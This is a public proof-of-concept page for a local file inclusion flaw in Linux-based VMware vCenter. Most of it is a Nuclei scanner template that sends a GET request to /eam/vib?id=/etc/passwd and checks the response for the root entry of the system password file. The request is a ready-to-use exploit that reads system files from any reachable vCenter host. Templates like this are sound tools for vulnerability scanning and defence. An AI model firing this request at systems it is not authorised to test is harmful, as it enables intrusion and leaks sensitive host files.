vmware-vcenter-lfi-linux: Linux Vmware Vcenter - Local File Inclusion

2025-08-01 VMware vCenter PoC Public

Description

Linux appliance based Vmware Vcenter is vulnerable to local file inclusion.

PoC

id: vmware-vcenter-lfi-linux

info:
  name: Linux Vmware Vcenter - Local File Inclusion
  author: PR3R00T
  severity: high
  description: Linux appliance based Vmware Vcenter is vulnerable to local file inclusion.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22,CWE-73
  metadata:
    max-request: 1
  tags: vmware,lfi,vcenter,linux,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/eam/vib?id=/etc/passwd"

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
# digest: 4b0a00483046022100851d2da597372ad1e46d3e0904373c41fb81e075e882e80319277ff0886bac0d02210099398cb7e7ee1156412a5506828607d4f61d1b961f349ecabe30d2ce4435836f:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/vmware/vmware-vcenter-lfi-linux.yaml

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